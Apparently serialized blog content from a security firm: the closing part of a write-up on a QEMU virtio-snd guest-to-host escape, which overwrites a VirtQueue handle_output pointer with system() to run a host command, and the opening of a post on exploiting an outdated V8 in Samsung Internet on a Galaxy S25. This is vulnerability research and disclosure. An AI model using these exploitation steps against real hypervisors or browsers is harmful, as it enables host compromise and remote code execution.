08},{"style":6941},[135209],{"type":31,"value":17852},{"type":25,"tag":216,"props":135211,"children":135212},{"style":6947},[135213],{"type":31,"value":6950},{"type":25,"tag":216,"props":135215,"children":135216},{"style":6983},[135217],{"type":31,"value":6986},{"type":25,"tag":216,"props":135219,"children":135220},{"style":6958},[135221],{"type":31,"value":6961},{"type":25,"tag":216,"props":135223,"children":135224},{"class":6916,"line":27600},[135225,135229,135233,135237,135241,135245,135249],{"type":25,"tag":216,"props":135226,"children":135227},{"style":7041},[135228],{"type":31,"value":128233},{"type":25,"tag":216,"props":135230,"children":135231},{"style":6958},[135232],{"type":31,"value":1844},{"type":25,"tag":216,"props":135234,"children":135235},{"style":6947},[135236],{"type":31,"value":7053},{"type":25,"tag":216,"props":135238,"children":135239},{"style":6941},[135240],{"type":31,"value":40218},{"type":25,"tag":216,"props":135242,"children":135243},{"style":6958},[135244],{"type":31,"value":17708},{"type":25,"tag":216,"props":135246,"children":135247},{"style":6941},[135248],{"type":31,"value":128254},{"type":25,"tag":216,"props":135250,"children":135251},{"style":6958},[135252],{"type":31,"value":135253},", buffer, entry);\n",{"type":25,"tag":216,"props":135255,"children":135256},{"class":6916,"line":27609},[135257],{"type":25,"tag":216,"props":135258,"children":135259},{"style":6958},[135260],{"type":31,"value":7296},{"type":25,"tag":38,"props":135262,"children":135263},{},[135264,135265,135270,135272,135277,135279,135284,135286,135292],{"type":31,"value":128308},{"type":25,"tag":82,"props":135266,"children":135268},{"className":135267},[],[135269],{"type":31,"value":128314},{"type":31,"value":135271},", QEMU allocates a ",{"type":25,"tag":82,"props":135273,"children":135275},{"className":135274},[],[135276],{"type":31,"value":128451},{"type":31,"value":135278}," whose size depends on the guest-provided iovec, and at ",{"type":25,"tag":82,"props":135280,"children":135282},{"className":135281},[],[135283],{"type":31,"value":128349},{"type":31,"value":135285}," it stores the ",{"type":25,"tag":82,"props":135287,"children":135289},{"className":135288},[],[135290],{"type":31,"value":135291},"VirtQueue *vq",{"type":31,"value":135293}," pointer into the buffer.",{"type":25,"tag":38,"props":135295,"children":135296},{},[135297,135298,135304],{"type":31,"value":68179},{"type":25,"tag":82,"props":135299,"children":135301},{"className":135300},[],[135302],{"type":31,"value":135303},"VirtQueue",{"type":31,"value":135305}," structure contains some useful fields:",{"type":25,"tag":206,"props":135307,"children":135309},{"code":135308,"language":2248,"meta":7,"className":20467,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[135310],{"type":25,"tag":82,"props":135311,"children":135312},{"__ignoreMap":7},[135313,135325,135332,135339,135346,135354,135371,135378,135385],{"type":25,"tag":216,"props":135314,"children":135315},{"class":6916,"line":6917},[135316,135320],{"type":25,"tag":216,"props":135317,"children":135318},{"style":6930},[135319],{"type":31,"value":13351},{"type":25,"tag":216,"props":135321,"children":135322},{"style":6958},[135323],{"type":31,"value":135324}," VirtQueue\n",{"type":25,"tag":216,"props":135326,"children":135327},{"class":6916,"line":6763},[135328],{"type":25,"tag":216,"props":135329,"children":135330},{"style":6958},[135331],{"type":31,"value":14830},{"type":25,"tag":216,"props":135333,"children":135334},{"class":6916,"line":6772},[135335],{"type":25,"tag":216,"props":135336,"children":135337},{"style":6958},[135338],{"type":31,"value":108753},{"type":25,"tag":216,"props":135340,"children":135341},{"class":6916,"line":6999},[135342],{"type":25,"tag":216,"props":135343,"children":135344},{"emptyLinePlaceholder":16},[135345],{"type":31,"value":7636},{"type":25,"tag":216,"props":135347,"children":135348},{"class":6916,"line":7104},[135349],{"type":25,"tag":216,"props":135350,"children":135351},{"style":6958},[135352],{"type":31,"value":135353},"    VirtIOHandleOutput handle_output;\n",{"type":25,"tag":216,"props":135355,"children":135356},{"class":6916,"line":7210},[135357,135362,135366],{"type":25,"tag":216,"props":135358,"children":135359},{"style":6958},[135360],{"type":31,"value":135361},"    VirtIODevice ",{"type":25,"tag":216,"props":135363,"children":135364},{"style":6947},[135365],{"type":31,"value":8513},{"type":25,"tag":216,"props":135367,"children":135368},{"style":6958},[135369],{"type":31,"value":135370},"vdev;\n",{"type":25,"tag":216,"props":135372,"children":135373},{"class":6916,"line":7238},[135374],{"type":25,"tag":216,"props":135375,"children":135376},{"emptyLinePlaceholder":16},[135377],{"type":31,"value":7636},{"type":25,"tag":216,"props":135379,"children":135380},{"class":6916,"line":7251},[135381],{"type":25,"tag":216,"props":135382,"children":135383},{"style":6958},[135384],{"type":31,"value":108753},{"type":25,"tag":216,"props":135386,"children":135387},{"class":6916,"line":7269},[135388],{"type":25,"tag":216,"props":135389,"children":135390},{"style":6958},[135391],{"type":31,"value":20530},{"type":25,"tag":38,"props":135393,"children":135394},{},[135395,135396,135402,135404,135410],{"type":31,"value":474},{"type":25,"tag":82,"props":135397,"children":135399},{"className":135398},[],[135400],{"type":31,"value":135401},".handle_output",{"type":31,"value":135403}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":25,"tag":82,"props":135405,"children":135407},{"className":135406},[],[135408],{"type":31,"value":135409},".vdev",{"type":31,"value":135411}," is the pointer passed to it as the first argument:",{"type":25,"tag":206,"props":135413,"children":135415},{"code":135414,"language":2248,"meta":7,"className":20467,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[135416],{"type":25,"tag":82,"props":135417,"children":135418},{"__ignoreMap":7},[135419,135452,135459,135514,135551,135558,135565,135572,135593,135600,135607,135614],{"type":25,"tag":216,"props":135420,"children":135421},{"class":6916,"line":6917},[135422,135426,135430,135435,135440,135444,135448],{"type":25,"tag":216,"props":135423,"children":135424},{"style":6930},[135425],{"type":31,"value":55007},{"type":25,"tag":216,"props":135427,"children":135428},{"style":6930},[135429],{"type":31,"value":55012},{"type":25,"tag":216,"props":135431,"children":135432},{"style":7041},[135433],{"type":31,"value":135434}," virtio_queue_notify_vq",{"type":25,"tag":216,"props":135436,"children":135437},{"style":6958},[135438],{"type":31,"value":135439},"(VirtQueue ",{"type":25,"tag":216,"props":135441,"children":135442},{"style":6947},[135443],{"type":31,"value":8513},{"type":25,"tag":216,"props":135445,"children":135446},{"style":6941},[135447],{"type":31,"value":127798},{"type":25,"tag":216,"props":135449,"children":135450},{"style":6958},[135451],{"type":31,"value":7101},{"type":25,"tag":216,"props":135453,"children":135454},{"class":6916,"line":6763},[135455],{"type":25,"tag":216,"props":135456,"children":135457},{"style":6958},[135458],{"type":31,"value":14830},{"type":25,"tag":216,"props":135460,"children":135461},{"class":6916,"line":6772},[135462,135466,135470,135474,135478,135483,135487,135492,135496,135501,135505,135510],{"type":25,"tag":216,"props":135463,"children":135464},{"style":6967},[135465],{"type":31,"value":16229},{"type":25,"tag":216,"props":135467,"children":135468},{"style":6958},[135469],{"type":31,"value":7010},{"type":25,"tag":216,"props":135471,"children":135472},{"style":6941},[135473],{"type":31,"value":127798},{"type":25,"tag":216,"props":135475,"children":135476},{"style":6958},[135477],{"type":31,"value":17708},{"type":25,"tag":216,"props":135479,"children":135480},{"style":6941},[135481],{"type":31,"value":135482},"vring",{"type":25,"tag":216,"props":135484,"children":135485},{"style":6958},[135486],{"type":31,"value":179},{"type":25,"tag":216,"props":135488,"children":135489},{"style":6941},[135490],{"type":31,"value":135491},"desc",{"type":25,"tag":216,"props":135493,"children":135494},{"style":6947},[135495],{"type":31,"value":18136},{"type":25,"tag":216,"props":135497,"children":135498},{"style":6941},[135499],{"type":31,"value":135500}," vq",{"type":25,"tag":216,"props":135502,"children":135503},{"style":6958},[135504],{"type":31,"value":17708},{"type":25,"tag":216,"props":135506,"children":135507},{"style":6941},[135508],{"type":31,"value":135509},"handle_output",{"type":25,"tag":216,"props":135511,"children":135512},{"style":6958},[135513],{"type":31,"value":18755},{"type":25,"tag":216,"props":135515,"children":135516},{"class":6916,"line":6999},[135517,135522,135526,135531,135535,135539,135543,135547],{"type":25,"tag":216,"props":135518,"children":135519},{"style":6958},[135520],{"type":31,"value":135521},"        VirtIODevice ",{"type":25,"tag":216,"props":135523,"children":135524},{"style":6947},[135525],{"type":31,"value":8513},{"type":25,"tag":216,"props":135527,"children":135528},{"style":6958},[135529],{"type":31,"value":135530},"vdev ",{"type":25,"tag":216,"props":135532,"children":135533},{"style":6947},[135534],{"type":31,"value":266},{"type":25,"tag":216,"props":135536,"children":135537},{"style":6941},[135538],{"type":31,"value":135500},{"type":25,"tag":216,"props":135540,"children":135541},{"style":6958},[135542],{"type":31,"value":17708},{"type":25,"tag":216,"props":135544,"children":135545},{"style":6941},[135546],{"type":31,"value":127784},{"type":25,"tag":216,"props":135548,"children":135549},{"style":6958},[135550],{"type":31,"value":6961},{"type":25,"tag":216,"props":135552,"children":135553},{"class":6916,"line":7104},[135554],{"type":25,"tag":216,"props":135555,"children":135556},{"emptyLinePlaceholder":16},[135557],{"type":31,"value":7636},{"type":25,"tag":216,"props":135559,"children":135560},{"class":6916,"line":7210},[135561],{"type":25,"tag":216,"props":135562,"children":135563},{"style":6958},[135564],{"type":31,"value":127965},{"type":25,"tag":216,"props":135566,"children":135567},{"class":6916,"line":7238},[135568],{"type":25,"tag":216,"props":135569,"children":135570},{"emptyLinePlaceholder":16},[135571],{"type":31,"value":7636},{"type":25,"tag":216,"props":135573,"children":135574},{"class":6916,"line":7251},[135575,135580,135584,135588],{"type":25,"tag":216,"props":135576,"children":135577},{"style":6941},[135578],{"type":31,"value":135579},"        vq",{"type":25,"tag":216,"props":135581,"children":135582},{"style":6958},[135583],{"type":31,"value":17708},{"type":25,"tag":216,"props":135585,"children":135586},{"style":7041},[135587],{"type":31,"value":135509},{"type":25,"tag":216,"props":135589,"children":135590},{"style":6958},[135591],{"type":31,"value":135592},"(vdev, vq);\n",{"type":25,"tag":216,"props":135594,"children":135595},{"class":6916,"line":7269},[135596],{"type":25,"tag":216,"props":135597,"children":135598},{"emptyLinePlaceholder":16},[135599],{"type":31,"value":7636},{"type":25,"tag":216,"props":135601,"children":135602},{"class":6916,"line":7290},[135603],{"type":25,"tag":216,"props":135604,"children":135605},{"style":6958},[135606],{"type":31,"value":127965},{"type":25,"tag":216,"props":135608,"children":135609},{"class":6916,"line":7299},[135610],{"type":25,"tag":216,"props":135611,"children":135612},{"style":6958},[135613],{"type":31,"value":7305},{"type":25,"tag":216,"props":135615,"children":135616},{"class":6916,"line":7551},[135617],{"type":25,"tag":216,"props":135618,"children":135619},{"style":6958},[135620],{"type":31,"value":7868},{"type":25,"tag":38,"props":135622,"children":135623},{},[135624,135626,135631,135633,135638,135640,135646,135648,135653,135654,135659,135661,135666],{"type":31,"value":135625},"This means that if we free the known-address chunk and replace it with a ",{"type":25,"tag":82,"props":135627,"children":135629},{"className":135628},[],[135630],{"type":31,"value":128451},{"type":31,"value":135632}," - which is straightforward, since we control the buffer allocation size through the ",{"type":25,"tag":82,"props":135634,"children":135636},{"className":135635},[],[135637],{"type":31,"value":128039},{"type":31,"value":135639}," iovec - we can use the arbitrary read primitive to read its ",{"type":25,"tag":82,"props":135641,"children":135643},{"className":135642},[],[135644],{"type":31,"value":135645},".vq",{"type":31,"value":135647}," pointer, then follow that pointer to leak ",{"type":25,"tag":82,"props":135649,"children":135651},{"className":135650},[],[135652],{"type":31,"value":135401},{"type":31,"value":20005},{"type":25,"tag":82,"props":135655,"children":135657},{"className":135656},[],[135658],{"type":31,"value":135303},{"type":31,"value":135660}," structure. In our case, that field points to ",{"type":25,"tag":82,"props":135662,"children":135664},{"className":135663},[],[135665],{"type":31,"value":127691},{"type":31,"value":135667},", which gives us QEMU's base address.",{"type":25,"tag":38,"props":135669,"children":135670},{},[135671,135673,135679],{"type":31,"value":135672},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":25,"tag":82,"props":135674,"children":135676},{"className":135675},[],[135677],{"type":31,"value":135678},"system",{"type":31,"value":179},{"type":25,"tag":607,"props":135681,"children":135683},{"id":135682},"rip-control",[135684],{"type":31,"value":135685},"RIP Control",{"type":25,"tag":38,"props":135687,"children":135688},{},[135689,135691,135696,135698,135704],{"type":31,"value":135690},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":25,"tag":82,"props":135692,"children":135694},{"className":135693},[],[135695],{"type":31,"value":135678},{"type":31,"value":135697},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":25,"tag":82,"props":135699,"children":135701},{"className":135700},[],[135702],{"type":31,"value":135703},"VirtQueue.handle_output",{"type":31,"value":179},{"type":25,"tag":38,"props":135706,"children":135707},{},[135708,135710,135715,135717,135722,135724,135729],{"type":31,"value":135709},"We overwrite ",{"type":25,"tag":82,"props":135711,"children":135713},{"className":135712},[],[135714],{"type":31,"value":135401},{"type":31,"value":135716}," with the address of ",{"type":25,"tag":82,"props":135718,"children":135720},{"className":135719},[],[135721],{"type":31,"value":135678},{"type":31,"value":135723}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":25,"tag":82,"props":135725,"children":135727},{"className":135726},[],[135728],{"type":31,"value":135409},{"type":31,"value":135730}," with the address of that command string, so it is passed as the first argument.",{"type":25,"tag":38,"props":135732,"children":135733},{},[135734,135736,135742,135744,135750,135752,135758],{"type":31,"value":135735},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":25,"tag":82,"props":135737,"children":135739},{"className":135738},[],[135740],{"type":31,"value":135741},"virtio_queue_notify_vq",{"type":31,"value":135743},", which calls ",{"type":25,"tag":82,"props":135745,"children":135747},{"className":135746},[],[135748],{"type":31,"value":135749},"vq->handle_output(vq->vdev)",{"type":31,"value":135751}," - or, after our overwrites, ",{"type":25,"tag":82,"props":135753,"children":135755},{"className":135754},[],[135756],{"type":31,"value":135757},"system(command)",{"type":31,"value":179},{"type":25,"tag":38,"props":135760,"children":135761},{},[135762,135764,135770,135772],{"type":31,"value":135763},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":25,"tag":82,"props":135765,"children":135767},{"className":135766},[],[135768],{"type":31,"value":135769},"gnome-calculator",{"type":31,"value":135771}," on the host system:\n",{"type":25,"tag":34924,"props":135773,"children":135774},{},[],{"type":25,"tag":135776,"props":135777,"children":135786},"tweet-card",{"author-name":135778,"date":135779,"duration":135780,"handle":135781,"media-mime-type":135782,"media-src":135783,"media-type":135784,"tweet-url":135785},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[135787,135792,135797],{"type":25,"tag":38,"props":135788,"children":135789},{},[135790],{"type":31,"value":135791},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":25,"tag":38,"props":135793,"children":135794},{},[135795],{"type":31,"value":135796},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":25,"tag":38,"props":135798,"children":135799},{},[135800],{"type":31,"value":135801},"Writeup coming next week.",{"type":25,"tag":34924,"props":135803,"children":135804},{},[],{"type":25,"tag":38,"props":135806,"children":135807},{},[135808,135810,135816,135818,135824],{"type":31,"value":135809},"The final exploit, targeting QEMU commit ",{"type":25,"tag":82,"props":135811,"children":135813},{"className":135812},[],[135814],{"type":31,"value":135815},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":31,"value":135817}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":25,"tag":162,"props":135819,"children":135822},{"href":135820,"rel":135821},"https://github.com/otter-sec/qemu-escape",[166],[135823],{"type":31,"value":51547},{"type":31,"value":179},{"type":25,"tag":38,"props":135826,"children":135827},{},[135828,135830,135837],{"type":31,"value":135829},"Special thanks to ",{"type":25,"tag":162,"props":135831,"children":135834},{"href":135832,"rel":135833},"https://www.willsroot.io/",[166],[135835],{"type":31,"value":135836},"William Liu",{"type":31,"value":135838}," for proofreading this post and helping us polish it before publication.",{"type":25,"tag":26,"props":135840,"children":135841},{"id":32886},[135842],{"type":31,"value":22901},{"type":25,"tag":38,"props":135844,"children":135845},{},[135846],{"type":31,"value":135847},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":25,"tag":38,"props":135849,"children":135850},{},[135851],{"type":31,"value":135852},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":25,"tag":9310,"props":135854,"children":135855},{},[135856],{"type":31,"value":9314},{"title":7,"searchDepth":6763,"depth":6763,"links":135858},[135859,135862,135865,135874],{"id":127587,"depth":6763,"text":127600,"children":135860},[135861],{"id":127608,"depth":6772,"text":127611},{"id":127632,"depth":6763,"text":127635,"children":135863},[135864],{"id":127646,"depth":6772,"text":127646},{"id":104060,"depth":6763,"text":104063,"children":135866},[135867,135868,135869,135870,135871,135872,135873],{"id":130238,"depth":6772,"text":130241},{"id":131765,"depth":6772,"text":131768},{"id":132559,"depth":6772,"text":132562},{"id":132964,"depth":6772,"text":132967},{"id":133180,"depth":6772,"text":133183},{"id":133386,"depth":6772,"text":133389},{"id":135682,"depth":6772,"text":135685},{"id":32886,"depth":6763,"text":22901},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":135879,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":135880,"description":135881,"date":135882,"author":135883,"image":135886,"isFeatured":16,"onBlogPage":16,"tags":135888,"body":135891,"_type":6792,"_id":145798,"_source":6794,"_file":145799,"_stem":145800,"_extension":6797},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[127583,135884,135885],"jamie","william",{"src":135887,"width":101220,"height":17574},"/posts/mobile-renderer-rce/title.png",[135889,135890],"RCE","mobile",{"type":22,"children":135892,"toc":145778},[135893,135897,135902,135916,135922,135936,135957,135965,135978,135986,135999,136005,136018,136032,136038,136052,136155,136160,136168,136173,136178,136199,136277,136285,136304,136317,136323,136329,136343,136459,136464,136469,136477,136482,136490,136518,136547,136559,136735,136740,136748,136767,136780,136786,136806,136820,136825,136830,136858,136894,136963,136969,136991,136996,137004,137017,137022,137030,137035,137074,137080,137093,137098,137276,137286,137294,137314,137338,137351,137357,137362,138004,138009,138017,138059,140047,140052,140060,140066,140099,140117,140287,140345,140370,140464,140469,141260,141265,141273,141284,143328,143333,143341,143347,143369,143383,143396,143408,143438,143443,143884,143912,144019,144036,144193,144198,144210,144506,144532,144555,144687,144699,144704,144856,144892,144905,144910,145032,145073,145150,145155,145729,145735,145747,145760,145764,145769,145774],{"type":25,"tag":26,"props":135894,"children":135895},{"id":32969},[135896],{"type":31,"value":32972},{"type":25,"tag":38,"props":135898,"children":135899},{},[135900],{"type":31,"value":135901},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":25,"tag":38,"props":135903,"children":135904},{},[135905,135907,135914],{"type":31,"value":135906},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":25,"tag":162,"props":135908,"children":135911},{"href":135909,"rel":135910},"https://cor.team",[166],[135912],{"type":31,"value":135913},"Crusaders of Rust",{"type":31,"value":135915}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":25,"tag":607,"props":135917,"children":135919},{"id":135918},"finding-the-v8-version",[135920],{"type":31,"value":135921},"Finding the V8 Version",{"type":25,"tag":38,"props":135923,"children":135924},{},[135925,135927,135934],{"type":31,"value":135926},"We started by pulling Samsung Internet's APK from the device over ",{"type":25,"tag":162,"props":135928,"children":135931},{"href":135929,"rel":135930},"https://developer.android.com/tools/adb",[166],[135932],{"type":31,"value":135933},"adb",{"type":31,"value":135935}," and inspecting the libraries it shipped with.",{"type":25,"tag":38,"props":135937,"children":135938},{},[135939,135941,135947,135949,135955],{"type":31,"value":135940},"After extracting the APK, we searched the ",{"type":25,"tag":82,"props":135942,"children":135944},{"className":135943},[],[135945],{"type":31,"value":135946},"lib/",{"type":31,"value":135948}," directory for ",{"type":25,"tag":82,"props":135950,"children":135952},{"className":135951},[],[135953],{"type":31,"value":135954},"v8::*",{"type":31,"value":135956}," symbols:",{"type":25,"tag":206,"props":135958,"children":135960},{"code":135959},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[135961],{"type":25,"tag":82,"props":135962,"children":135963},{"__ignoreMap":7},[135964],{"type":31,"value":135959},{"type":25,"tag":38,"props":135966,"children":135967},{},[135968,135970,135976],{"type":31,"value":135969},"Only one file matched our search: ",{"type":25,"tag":82,"props":135971,"children":135973},{"className":135972},[],[135974],{"type":31,"value":135975},"libterrace.so",{"type":31,"value":135977},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":25,"tag":38,"props":135979,"children":135980},{},[135981],{"type":25,"tag":6461,"props":135982,"children":135985},{"alt":135983,"src":135984},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":25,"tag":38,"props":135987,"children":135988},{},[135989,135991,135997],{"type":31,"value":135990},"Surprisingly, this ",{"type":25,"tag":82,"props":135992,"children":135994},{"className":135993},[],[135995],{"type":31,"value":135996},"13.6.233.10",{"type":31,"value":135998}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":25,"tag":607,"props":136000,"children":136002},{"id":136001},"choosing-the-bug",[136003],{"type":31,"value":136004},"Choosing the Bug",{"type":25,"tag":38,"props":136006,"children":136007},{},[136008,136010,136016],{"type":31,"value":136009},"We were able to trigger a couple of bugs on our locally compiled ",{"type":25,"tag":82,"props":136011,"children":136013},{"className":136012},[],[136014],{"type":31,"value":136015},"d8",{"type":31,"value":136017}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":25,"tag":38,"props":136019,"children":136020},{},[136021,136023,136030],{"type":31,"value":136022},"Another one was ",{"type":25,"tag":162,"props":136024,"children":136027},{"href":136025,"rel":136026},"https://issuetracker.google.com/issues/443875388",[166],[136028],{"type":31,"value":136029},"CVE-2025-10891",{"type":31,"value":136031}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":25,"tag":26,"props":136033,"children":136035},{"id":136034},"ignition-bytecode-introduction",[136036],{"type":31,"value":136037},"Ignition Bytecode Introduction",{"type":25,"tag":38,"props":136039,"children":136040},{},[136041,136043,136050],{"type":31,"value":136042},"V8 initially compiles all JS code to a bytecode format with the ",{"type":25,"tag":162,"props":136044,"children":136047},{"href":136045,"rel":136046},"https://v8.dev/blog/ignition-interpreter",[166],[136048],{"type":31,"value":136049},"Ignition",{"type":31,"value":136051}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":25,"tag":206,"props":136053,"children":136055},{"code":136054,"language":35321,"meta":7,"className":35319,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[136056],{"type":25,"tag":82,"props":136057,"children":136058},{"__ignoreMap":7},[136059,136082,136106,136130],{"type":25,"tag":216,"props":136060,"children":136061},{"class":6916,"line":6917},[136062,136066,136070,136074,136078],{"type":25,"tag":216,"props":136063,"children":136064},{"style":6930},[136065],{"type":31,"value":15737},{"type":25,"tag":216,"props":136067,"children":136068},{"style":6941},[136069],{"type":31,"value":93801},{"type":25,"tag":216,"props":136071,"children":136072},{"style":6947},[136073],{"type":31,"value":6950},{"type":25,"tag":216,"props":136075,"children":136076},{"style":6983},[136077],{"type":31,"value":8465},{"type":25,"tag":216,"props":136079,"children":136080},{"style":6958},[136081],{"type":31,"value":6961},{"type":25,"tag":216,"props":136083,"children":136084},{"class":6916,"line":6763},[136085,136089,136093,136097,136102],{"type":25,"tag":216,"props":136086,"children":136087},{"style":6930},[136088],{"type":31,"value":15737},{"type":25,"tag":216,"props":136090,"children":136091},{"style":6941},[136092],{"type":31,"value":94675},{"type":25,"tag":216,"props":136094,"children":136095},{"style":6947},[136096],{"type":31,"value":6950},{"type":25,"tag":216,"props":136098,"children":136099},{"style":6983},[136100],{"type":31,"value":136101}," 0x0fff",{"type":25,"tag":216,"props":136103,"children":136104},{"style":6958},[136105],{"type":31,"value":6961},{"type":25,"tag":216,"props":136107,"children":136108},{"class":6916,"line":6772},[136109,136113,136117,136121,136126],{"type":25,"tag":216,"props":136110,"children":136111},{"style":6930},[136112],{"type":31,"value":15737},{"type":25,"tag":216,"props":136114,"children":136115},{"style":6941},[136116],{"type":31,"value":41402},{"type":25,"tag":216,"props":136118,"children":136119},{"style":6947},[136120],{"type":31,"value":6950},{"type":25,"tag":216,"props":136122,"children":136123},{"style":6983},[136124],{"type":31,"value":136125}," 0x0fffffff",{"type":25,"tag":216,"props":136127,"children":136128},{"style":6958},[136129],{"type":31,"value":6961},{"type":25,"tag":216,"props":136131,"children":136132},{"class":6916,"line":6999},[136133,136137,136142,136146,136151],{"type":25,"tag":216,"props":136134,"children":136135},{"style":6930},[136136],{"type":31,"value":15737},{"type":25,"tag":216,"props":136138,"children":136139},{"style":6941},[136140],{"type":31,"value":136141}," d",{"type":25,"tag":216,"props":136143,"children":136144},{"style":6947},[136145],{"type":31,"value":6950},{"type":25,"tag":216,"props":136147,"children":136148},{"style":6983},[136149],{"type":31,"value":136150}," 0xffffffff",{"type":25,"tag":216,"props":136152,"children":136153},{"style":6958},[136154],{"type":31,"value":6961},{"type":25,"tag":38,"props":136156,"children":136157},{},[136158],{"type":31,"value":136159},"compiles to",{"type":25,"tag":206,"props":136161,"children":136163},{"code":136162}," # Load the Smi `1` into the accumulator\n 0 : 0d 01             LdaSmi [1]\n # Store it to register 0\n 2 : ce                Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f       LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd                Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc                Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00             LdaConstant [0]\n# Store it to register 3\n17 : cb                Star3\n18 : 0e                LdaUndefined\n19 : b3                Return\n",[136164],{"type":25,"tag":82,"props":136165,"children":136166},{"__ignoreMap":7},[136167],{"type":31,"value":136162},{"type":25,"tag":38,"props":136169,"children":136170},{},[136171],{"type":31,"value":136172},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":25,"tag":607,"props":136174,"children":136176},{"id":136175},"cve-2025-10891",[136177],{"type":31,"value":136029},{"type":25,"tag":38,"props":136179,"children":136180},{},[136181,136183,136189,136191,136197],{"type":31,"value":136182},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":25,"tag":82,"props":136184,"children":136186},{"className":136185},[],[136187],{"type":31,"value":136188},"[start, end) => handler",{"type":31,"value":136190}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":25,"tag":82,"props":136192,"children":136194},{"className":136193},[],[136195],{"type":31,"value":136196},"handler",{"type":31,"value":136198}," is jumped to.",{"type":25,"tag":206,"props":136200,"children":136202},{"code":136201,"language":35321,"meta":7,"className":35319,"style":7},"try {\n  throw 1;\n} catch {\n  let b = 2;\n}\n",[136203],{"type":25,"tag":82,"props":136204,"children":136205},{"__ignoreMap":7},[136206,136217,136232,136247,136270],{"type":25,"tag":216,"props":136207,"children":136208},{"class":6916,"line":6917},[136209,136213],{"type":25,"tag":216,"props":136210,"children":136211},{"style":6967},[136212],{"type":31,"value":52294},{"type":25,"tag":216,"props":136214,"children":136215},{"style":6958},[136216],{"type":31,"value":7235},{"type":25,"tag":216,"props":136218,"children":136219},{"class":6916,"line":6763},[136220,136224,136228],{"type":25,"tag":216,"props":136221,"children":136222},{"style":6967},[136223],{"type":31,"value":39159},{"type":25,"tag":216,"props":136225,"children":136226},{"style":6983},[136227],{"type":31,"value":8465},{"type":25,"tag":216,"props":136229,"children":136230},{"style":6958},[136231],{"type":31,"value":6961},{"type":25,"tag":216,"props":136233,"children":136234},{"class":6916,"line":6772},[136235,136239,136243],{"type":25,"tag":216,"props":136236,"children":136237},{"style":6958},[136238],{"type":31,"value":50836},{"type":25,"tag":216,"props":136240,"children":136241},{"style":6967},[136242],{"type":31,"value":52374},{"type":25,"tag":216,"props":136244,"children":136245},{"style":6958},[136246],{"type":31,"value":7235},{"type":25,"tag":216,"props":136248,"children":136249},{"class":6916,"line":6999},[136250,136254,136258,136262,136266],{"type":25,"tag":216,"props":136251,"children":136252},{"style":6930},[136253],{"type":31,"value":11801},{"type":25,"tag":216,"props":136255,"children":1